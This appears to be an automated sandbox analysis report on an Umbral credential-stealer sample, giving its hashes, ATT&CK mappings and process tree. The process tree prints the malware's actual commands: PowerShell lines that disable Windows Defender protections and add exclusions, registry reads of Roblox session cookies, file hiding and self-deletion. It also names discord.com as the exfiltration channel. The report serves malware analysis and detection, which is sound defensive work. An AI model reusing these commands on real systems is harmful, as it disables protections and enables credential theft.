umbral | a820aa027bed73820a45f380eb8858bc6c24dcce2ed9bc2bfdc4b7ecc54ba7e7

Analysis

max time kernel
122s
max time network
123s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
14-09-2024 01:56

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General

Target

nitrosnipr.exe
Size

229KB
MD5

0dcc2299f5e6a41c04593b9e1d8fb825
SHA1

6d5b2580da6616d958f721c82241b52821dac5a1
SHA256

a820aa027bed73820a45f380eb8858bc6c24dcce2ed9bc2bfdc4b7ecc54ba7e7
SHA512

f6553276f07988aae7a7232c3f98447a7883f1b87c1a85955909e7374d8cd4bd08b923395283c0115d5cb123f287f3938d02c2700ccd264ae78f9f771df35920
SSDEEP

6144:tloZM+rIkd8g+EtXHkv/iD40H9txd58e1mUtbi:voZtL+EP8MHxDnM

Score

10^/10

umbral credential_access discovery execution spyware stealer

Malware Config

Signatures

Detect Umbral payload 1 IoCs

resource	yara_rule
behavioral1/memory/1984-1-0x0000000000D00000-0x0000000000D40000-memory.dmp	family_umbral

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral
Credentials from Password Stores: Credentials from Web Browsers 1 TTPs
Malicious Access or copy of Web Browser Credential store.
credential_access stealer

Credentials from Web Browsers
T1555.003

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
2372	powershell.exe
2988	powershell.exe
2632	powershell.exe
1652	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	nitrosnipr.exe

Deletes itself 1 IoCs

pid	Process
2140	cmd.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
9	discord.com
10	discord.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
6	ip-api.com

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
2220	PING.EXE
2140	cmd.exe

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
2180	wmic.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
2220	PING.EXE

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
1984	nitrosnipr.exe
2372	powershell.exe
2988	powershell.exe
2632	powershell.exe
2312	powershell.exe
1652	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	1984	nitrosnipr.exe
Token: SeIncreaseQuotaPrivilege	3036	wmic.exe
Token: SeSecurityPrivilege	3036	wmic.exe
Token: SeTakeOwnershipPrivilege	3036	wmic.exe
Token: SeLoadDriverPrivilege	3036	wmic.exe
Token: SeSystemProfilePrivilege	3036	wmic.exe
Token: SeSystemtimePrivilege	3036	wmic.exe
Token: SeProfSingleProcessPrivilege	3036	wmic.exe
Token: SeIncBasePriorityPrivilege	3036	wmic.exe
Token: SeCreatePagefilePrivilege	3036	wmic.exe
Token: SeBackupPrivilege	3036	wmic.exe
Token: SeRestorePrivilege	3036	wmic.exe
Token: SeShutdownPrivilege	3036	wmic.exe
Token: SeDebugPrivilege	3036	wmic.exe
Token: SeSystemEnvironmentPrivilege	3036	wmic.exe
Token: SeRemoteShutdownPrivilege	3036	wmic.exe
Token: SeUndockPrivilege	3036	wmic.exe
Token: SeManageVolumePrivilege	3036	wmic.exe
Token: 33	3036	wmic.exe
Token: 34	3036	wmic.exe
Token: 35	3036	wmic.exe
Token: SeIncreaseQuotaPrivilege	3036	wmic.exe
Token: SeSecurityPrivilege	3036	wmic.exe
Token: SeTakeOwnershipPrivilege	3036	wmic.exe
Token: SeLoadDriverPrivilege	3036	wmic.exe
Token: SeSystemProfilePrivilege	3036	wmic.exe
Token: SeSystemtimePrivilege	3036	wmic.exe
Token: SeProfSingleProcessPrivilege	3036	wmic.exe
Token: SeIncBasePriorityPrivilege	3036	wmic.exe
Token: SeCreatePagefilePrivilege	3036	wmic.exe
Token: SeBackupPrivilege	3036	wmic.exe
Token: SeRestorePrivilege	3036	wmic.exe
Token: SeShutdownPrivilege	3036	wmic.exe
Token: SeDebugPrivilege	3036	wmic.exe
Token: SeSystemEnvironmentPrivilege	3036	wmic.exe
Token: SeRemoteShutdownPrivilege	3036	wmic.exe
Token: SeUndockPrivilege	3036	wmic.exe
Token: SeManageVolumePrivilege	3036	wmic.exe
Token: 33	3036	wmic.exe
Token: 34	3036	wmic.exe
Token: 35	3036	wmic.exe
Token: SeDebugPrivilege	2372	powershell.exe
Token: SeDebugPrivilege	2988	powershell.exe
Token: SeDebugPrivilege	2632	powershell.exe
Token: SeDebugPrivilege	2312	powershell.exe
Token: SeIncreaseQuotaPrivilege	764	wmic.exe
Token: SeSecurityPrivilege	764	wmic.exe
Token: SeTakeOwnershipPrivilege	764	wmic.exe
Token: SeLoadDriverPrivilege	764	wmic.exe
Token: SeSystemProfilePrivilege	764	wmic.exe
Token: SeSystemtimePrivilege	764	wmic.exe
Token: SeProfSingleProcessPrivilege	764	wmic.exe
Token: SeIncBasePriorityPrivilege	764	wmic.exe
Token: SeCreatePagefilePrivilege	764	wmic.exe
Token: SeBackupPrivilege	764	wmic.exe
Token: SeRestorePrivilege	764	wmic.exe
Token: SeShutdownPrivilege	764	wmic.exe
Token: SeDebugPrivilege	764	wmic.exe
Token: SeSystemEnvironmentPrivilege	764	wmic.exe
Token: SeRemoteShutdownPrivilege	764	wmic.exe
Token: SeUndockPrivilege	764	wmic.exe
Token: SeManageVolumePrivilege	764	wmic.exe
Token: 33	764	wmic.exe
Token: 34	764	wmic.exe

Suspicious use of WriteProcessMemory 39 IoCs

description	pid	Process	procid_target
PID 1984 wrote to memory of 3036	1984	nitrosnipr.exe	31
PID 1984 wrote to memory of 3036	1984	nitrosnipr.exe	31
PID 1984 wrote to memory of 3036	1984	nitrosnipr.exe	31
PID 1984 wrote to memory of 2772	1984	nitrosnipr.exe	34
PID 1984 wrote to memory of 2772	1984	nitrosnipr.exe	34
PID 1984 wrote to memory of 2772	1984	nitrosnipr.exe	34
PID 1984 wrote to memory of 2372	1984	nitrosnipr.exe	36
PID 1984 wrote to memory of 2372	1984	nitrosnipr.exe	36
PID 1984 wrote to memory of 2372	1984	nitrosnipr.exe	36
PID 1984 wrote to memory of 2988	1984	nitrosnipr.exe	38
PID 1984 wrote to memory of 2988	1984	nitrosnipr.exe	38
PID 1984 wrote to memory of 2988	1984	nitrosnipr.exe	38
PID 1984 wrote to memory of 2632	1984	nitrosnipr.exe	40
PID 1984 wrote to memory of 2632	1984	nitrosnipr.exe	40
PID 1984 wrote to memory of 2632	1984	nitrosnipr.exe	40
PID 1984 wrote to memory of 2312	1984	nitrosnipr.exe	42
PID 1984 wrote to memory of 2312	1984	nitrosnipr.exe	42
PID 1984 wrote to memory of 2312	1984	nitrosnipr.exe	42
PID 1984 wrote to memory of 764	1984	nitrosnipr.exe	44
PID 1984 wrote to memory of 764	1984	nitrosnipr.exe	44
PID 1984 wrote to memory of 764	1984	nitrosnipr.exe	44
PID 1984 wrote to memory of 1512	1984	nitrosnipr.exe	46
PID 1984 wrote to memory of 1512	1984	nitrosnipr.exe	46
PID 1984 wrote to memory of 1512	1984	nitrosnipr.exe	46
PID 1984 wrote to memory of 768	1984	nitrosnipr.exe	48
PID 1984 wrote to memory of 768	1984	nitrosnipr.exe	48
PID 1984 wrote to memory of 768	1984	nitrosnipr.exe	48
PID 1984 wrote to memory of 1652	1984	nitrosnipr.exe	50
PID 1984 wrote to memory of 1652	1984	nitrosnipr.exe	50
PID 1984 wrote to memory of 1652	1984	nitrosnipr.exe	50
PID 1984 wrote to memory of 2180	1984	nitrosnipr.exe	52
PID 1984 wrote to memory of 2180	1984	nitrosnipr.exe	52
PID 1984 wrote to memory of 2180	1984	nitrosnipr.exe	52
PID 1984 wrote to memory of 2140	1984	nitrosnipr.exe	54
PID 1984 wrote to memory of 2140	1984	nitrosnipr.exe	54
PID 1984 wrote to memory of 2140	1984	nitrosnipr.exe	54
PID 2140 wrote to memory of 2220	2140	cmd.exe	56
PID 2140 wrote to memory of 2220	2140	cmd.exe	56
PID 2140 wrote to memory of 2220	2140	cmd.exe	56

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
2772	attrib.exe

C:\Users\Admin\AppData\Local\Temp\nitrosnipr.exe
"C:\Users\Admin\AppData\Local\Temp\nitrosnipr.exe"
1⤵
- Drops file in Drivers directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1984
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:3036
- C:\Windows\system32\attrib.exe
  "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\nitrosnipr.exe"
  2⤵
  - Views/modifies file attributes
  PID:2772
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\nitrosnipr.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2372
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2988
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2632
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2312
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" os get Caption
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:764
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" computersystem get totalphysicalmemory
  2⤵
  PID:1512
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  PID:768
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:1652
- C:\Windows\System32\Wbem\wmic.exe
  "wmic" path win32_VideoController get name
  2⤵
  - Detects videocard installed
  PID:2180
- C:\Windows\system32\cmd.exe
  "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\nitrosnipr.exe" && pause
  2⤵
  - Deletes itself
  - System Network Configuration Discovery: Internet Connection Discovery
  - Suspicious use of WriteProcessMemory
  PID:2140
- - C:\Windows\system32\PING.EXE
    ping localhost
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:2220

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Remote System Discovery

T1018

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
6b1e45bf8c125d53e855e1516fed1d4e

SHA1
64cb7275cb9baef386d2bf1ce112d094927e2484

SHA256
02824fb0afcafeb85bc49e17a341cde03dd1bb7c26cc1770c822741236b895aa

SHA512
46a90dd467f0c8cc60dbd68408c8c427cc7d011542d2670790d3ef58970fe6afc972c60b4a24757a48b7cda44e625faf2932bfce38398a021d4269f1b00cad3e

Download Submit
memory/1652-42-0x0000000002350000-0x0000000002358000-memory.dmp

Filesize
32KB

Download
memory/1984-0-0x000007FEF5863000-0x000007FEF5864000-memory.dmp

Filesize
4KB

Download
memory/1984-1-0x0000000000D00000-0x0000000000D40000-memory.dmp

Filesize
256KB

Download
memory/1984-2-0x000007FEF5860000-0x000007FEF624C000-memory.dmp

Filesize
9.9MB

Download
memory/1984-46-0x000007FEF5860000-0x000007FEF624C000-memory.dmp

Filesize
9.9MB

Download
memory/2372-7-0x000000001B640000-0x000000001B922000-memory.dmp

Filesize
2.9MB

Download
memory/2372-8-0x00000000026E0000-0x00000000026E8000-memory.dmp

Filesize
32KB

Download
memory/2988-14-0x000000001B730000-0x000000001BA12000-memory.dmp

Filesize
2.9MB

Download
memory/2988-15-0x0000000002240000-0x0000000002248000-memory.dmp

Filesize
32KB

Download